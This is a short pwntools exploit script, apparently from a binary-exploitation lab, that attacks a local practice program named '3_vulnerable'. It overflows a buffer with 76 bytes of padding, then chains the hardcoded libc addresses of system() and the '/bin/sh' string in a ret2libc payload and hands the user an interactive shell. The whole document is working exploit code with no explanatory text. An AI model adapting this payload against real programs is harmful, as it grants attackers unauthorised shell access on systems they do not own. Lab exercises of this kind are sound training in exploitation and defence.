#!/usr/bin/python

from pwn import *

libc_base = 0xf7e15000
system_offset = 0x0003ada0
binsh_offset = 0x15b82b

system_address = libc_base + system_offset
binsh_offset = libc_base + binsh_offset

def main():
    # Start the process
    p = process("../build/3_vulnerable")

    # Craft the payload
    payload = "A"*76
    payload += p32(system_address)
    payload += p32(0xdeadbeef)
    payload += p32(binsh_offset)
    payload = payload.ljust(96, "\x00")

    # Send the payload
    p.send(payload)

    # Pass interaction to the user
    p.interactive()

if __name__ == "__main__":
    main()
